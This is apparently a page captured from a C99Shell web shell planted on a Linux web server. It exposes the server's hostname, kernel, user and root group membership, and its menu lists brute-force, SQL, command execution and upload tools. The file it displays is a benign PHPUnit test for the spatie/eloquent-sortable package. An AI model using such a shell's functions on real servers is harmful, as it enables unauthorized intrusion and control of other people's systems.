!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/spatie/eloquent-sortable/tests/   drwxr-xr-x
Free 23.61 GB of 117.98 GB (20.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SortableTest.php (11.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\EloquentSortable\Test;

use 
Illuminate\Support\Collection;

class 
SortableTest extends TestCase
{
    
/** @test */
    
public function it_sets_the_order_column_on_creation()
    {
        foreach (
Dummy::all() as $dummy) {
            
$this->assertEquals($dummy->name$dummy->order_column);
        }
    }

    
/** @test */
    
public function it_can_get_the_highest_order_number()
    {
        
$this->assertEquals(Dummy::all()->count(), (new Dummy())->getHighestOrderNumber());
    }

    
/** @test */
    
public function it_can_get_the_highest_order_number_with_trashed_models()
    {
        
$this->setUpSoftDeletes();

        
DummyWithSoftDeletes::first()->delete();

        
$this->assertEquals(DummyWithSoftDeletes::withTrashed()->count(), (new DummyWithSoftDeletes())->getHighestOrderNumber());
    }

    
/** @test */
    
public function it_can_set_a_new_order()
    {
        
$newOrder Collection::make(Dummy::all()->pluck('id'))->shuffle()->toArray();

        
Dummy::setNewOrder($newOrder);

        foreach (
Dummy::orderBy('order_column')->get() as $i => $dummy) {
            
$this->assertEquals($newOrder[$i], $dummy->id);
        }
    }

    
/** @test */
    
public function it_can_set_a_new_order_by_custom_column()
    {
        
$newOrder Collection::make(Dummy::all()->pluck('custom_column_sort'))->shuffle()->toArray();

        
Dummy::setNewOrderByCustomColumn('custom_column_sort'$newOrder);

        foreach (
Dummy::orderBy('order_column')->get() as $i => $dummy) {
            
$this->assertEquals($newOrder[$i], $dummy->custom_column_sort);
        }
    }

    
/** @test */
    
public function it_can_set_a_new_order_from_collection()
    {
        
$newOrder Collection::make(Dummy::all()->pluck('id'))->shuffle();

        
Dummy::setNewOrder($newOrder);

        foreach (
Dummy::orderBy('order_column')->get() as $i => $dummy) {
            
$this->assertEquals($newOrder[$i], $dummy->id);
        }
    }

    
/** @test */
    
public function it_can_set_a_new_order_by_custom_column_from_collection()
    {
        
$newOrder Collection::make(Dummy::all()->pluck('custom_column_sort'))->shuffle();

        
Dummy::setNewOrderByCustomColumn('custom_column_sort'$newOrder);

        foreach (
Dummy::orderBy('order_column')->get() as $i => $dummy) {
            
$this->assertEquals($newOrder[$i], $dummy->custom_column_sort);
        }
    }

    
/** @test */
    
public function it_can_set_a_new_order_with_trashed_models()
    {
        
$this->setUpSoftDeletes();

        
$dummies DummyWithSoftDeletes::all();

        
$dummies->random()->delete();

        
$newOrder Collection::make($dummies->pluck('id'))->shuffle();

        
DummyWithSoftDeletes::setNewOrder($newOrder);

        foreach (
DummyWithSoftDeletes::withTrashed()->orderBy('order_column')->get() as $i => $dummy) {
            
$this->assertEquals($newOrder[$i], $dummy->id);
        }
    }

    
/** @test */
    
public function it_can_set_a_new_order_by_custom_column_with_trashed_models()
    {
        
$this->setUpSoftDeletes();

        
$dummies DummyWithSoftDeletes::all();

        
$dummies->random()->delete();

        
$newOrder Collection::make($dummies->pluck('custom_column_sort'))->shuffle();

        
DummyWithSoftDeletes::setNewOrderByCustomColumn('custom_column_sort'$newOrder);

        foreach (
DummyWithSoftDeletes::withTrashed()->orderBy('order_column')->get() as $i => $dummy) {
            
$this->assertEquals($newOrder[$i], $dummy->custom_column_sort);
        }
    }

    
/** @test */
    
public function it_can_set_a_new_order_without_trashed_models()
    {
        
$this->setUpSoftDeletes();

        
DummyWithSoftDeletes::first()->delete();

        
$newOrder Collection::make(DummyWithSoftDeletes::pluck('id'))->shuffle();

        
DummyWithSoftDeletes::setNewOrder($newOrder);

        foreach (
DummyWithSoftDeletes::orderBy('order_column')->get() as $i => $dummy) {
            
$this->assertEquals($newOrder[$i], $dummy->id);
        }
    }

    
/** @test */
    
public function it_can_set_a_new_order_by_custom_column_without_trashed_models()
    {
        
$this->setUpSoftDeletes();

        
DummyWithSoftDeletes::first()->delete();

        
$newOrder Collection::make(DummyWithSoftDeletes::pluck('custom_column_sort'))->shuffle();

        
DummyWithSoftDeletes::setNewOrderByCustomColumn('custom_column_sort'$newOrder);

        foreach (
DummyWithSoftDeletes::orderBy('order_column')->get() as $i => $dummy) {
            
$this->assertEquals($newOrder[$i], $dummy->custom_column_sort);
        }
    }

    
/** @test */
    
public function it_will_determine_to_sort_when_creating_if_sortable_attribute_does_not_exist()
    {
        
$model = new Dummy();

        
$this->assertTrue($model->shouldSortWhenCreating());
    }

    
/** @test */
    
public function it_will_determine_to_sort_when_creating_if_sort_when_creating_setting_does_not_exist()
    {
        
$model = new class extends Dummy {
            public 
$sortable = [];
        };

        
$this->assertTrue($model->shouldSortWhenCreating());
    }

    
/** @test */
    
public function it_will_respect_the_sort_when_creating_setting()
    {
        
$model = new class extends Dummy {
            public 
$sortable = ['sort_when_creating' => true];
        };

        
$this->assertTrue($model->shouldSortWhenCreating());

        
$model = new class extends Dummy {
            public 
$sortable = ['sort_when_creating' => false];
        };
        
$this->assertFalse($model->shouldSortWhenCreating());
    }

    
/** @test */
    
public function it_provides_an_ordered_trait()
    {
        
$i 1;

        foreach (
Dummy::ordered()->get()->pluck('order_column') as $order) {
            
$this->assertEquals($i++, $order);
        }
    }

    
/** @test */
    
public function it_can_move_the_order_down()
    {
        
$firstModel Dummy::find(3);
        
$secondModel Dummy::find(4);

        
$this->assertEquals($firstModel->order_column3);
        
$this->assertEquals($secondModel->order_column4);

        
$this->assertNotFalse($firstModel->moveOrderDown());

        
$firstModel Dummy::find(3);
        
$secondModel Dummy::find(4);

        
$this->assertEquals($firstModel->order_column4);
        
$this->assertEquals($secondModel->order_column3);
    }

    
/** @test */
    
public function it_will_not_fail_when_it_cant_move_the_order_down()
    {
        
$lastModel Dummy::all()->last();

        
$this->assertEquals($lastModel->order_column20);
        
$this->assertEquals($lastModel$lastModel->moveOrderDown());
    }

    
/** @test */
    
public function it_can_move_the_order_up()
    {
        
$firstModel Dummy::find(3);
        
$secondModel Dummy::find(4);

        
$this->assertEquals($firstModel->order_column3);
        
$this->assertEquals($secondModel->order_column4);

        
$this->assertNotFalse($secondModel->moveOrderUp());

        
$firstModel Dummy::find(3);
        
$secondModel Dummy::find(4);

        
$this->assertEquals($firstModel->order_column4);
        
$this->assertEquals($secondModel->order_column3);
    }

    
/** @test */
    
public function it_will_not_break_when_it_cant_move_the_order_up()
    {
        
$lastModel Dummy::first();

        
$this->assertEquals($lastModel->order_column1);
        
$this->assertEquals($lastModel$lastModel->moveOrderUp());
    }

    
/** @test */
    
public function it_can_swap_the_position_of_two_given_models()
    {
        
$firstModel Dummy::find(3);
        
$secondModel Dummy::find(4);

        
$this->assertEquals($firstModel->order_column3);
        
$this->assertEquals($secondModel->order_column4);

        
Dummy::swapOrder($firstModel$secondModel);

        
$this->assertEquals($firstModel->order_column4);
        
$this->assertEquals($secondModel->order_column3);
    }

    
/** @test */
    
public function it_can_swap_itself_with_another_model()
    {
        
$firstModel Dummy::find(3);
        
$secondModel Dummy::find(4);

        
$this->assertEquals($firstModel->order_column3);
        
$this->assertEquals($secondModel->order_column4);

        
$firstModel->swapOrderWithModel($secondModel);

        
$this->assertEquals($firstModel->order_column4);
        
$this->assertEquals($secondModel->order_column3);
    }

    
/** @test */
    
public function it_can_move_a_model_to_the_first_place()
    {
        
$position 3;

        
$oldModels Dummy::whereNot('id'$position)->get();

        
$model Dummy::find($position);

        
$this->assertEquals(3$model->order_column);

        
$model $model->moveToStart();

        
$this->assertEquals(1$model->order_column);

        
$oldModels $oldModels->pluck('order_column''id');
        
$newModels Dummy::whereNot('id'$position)->get()->pluck('order_column''id');

        foreach (
$oldModels as $key => $oldModel) {
            
$this->assertEquals($oldModel 1$newModels[$key]);
        }
    }

    
/**
     * @test
     */
    
public function it_can_move_a_model_to_the_last_place()
    {
        
$position 3;

        
$oldModels Dummy::whereNot('id'$position)->get();

        
$model Dummy::find($position);

        
$this->assertNotEquals(20$model->order_column);

        
$model $model->moveToEnd();

        
$this->assertEquals(20$model->order_column);

        
$oldModels $oldModels->pluck('order_column''id');

        
$newModels Dummy::whereNot('id'$position)->get()->pluck('order_column''id');

        foreach (
$oldModels as $key => $order) {
            if (
$order $position) {
                
$this->assertEquals($order 1$newModels[$key]);
            } else {
                
$this->assertEquals($order$newModels[$key]);
            }
        }
    }
    
/** @test */
    
public function it_can_use_config_properties()
    {
        
config([
        
'eloquent-sortable.order_column_name' => 'order_column',
        
'eloquent-sortable.sort_when_creating' => true,
      ]);

        
$model = new class extends Dummy {
            public 
$sortable = [];
        };

        
$this->assertEquals(config('eloquent-sortable.order_column_name'), $model->determineOrderColumnName());
        
$this->assertEquals(config('eloquent-sortable.sort_when_creating'), $model->shouldSortWhenCreating());
    }

    
/** @test */
    
public function it_can_override_config_properties()
    {
        
$model = new class extends Dummy {
            public 
$sortable = [
            
'order_column_name' => 'my_custom_order_column',
            
'sort_when_creating' => false,
          ];
        };

        
$this->assertEquals($model->determineOrderColumnName(), 'my_custom_order_column');
        
$this->assertFalse($model->shouldSortWhenCreating());
    }

    
/** @test */
    
public function it_can_tell_if_element_is_first_in_order()
    {
        
$model = (new Dummy())->buildSortQuery()->get();
        
$this->assertTrue($model[0]->isFirstInOrder());
        
$this->assertFalse($model[1]->isFirstInOrder());
    }

    
/** @test */
    
public function it_can_tell_if_element_is_last_in_order()
    {
        
$model = (new Dummy())->buildSortQuery()->get();
        
$this->assertTrue($model[$model->count() - 1]->isLastInOrder());
        
$this->assertFalse($model[$model->count() - 2]->isLastInOrder());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--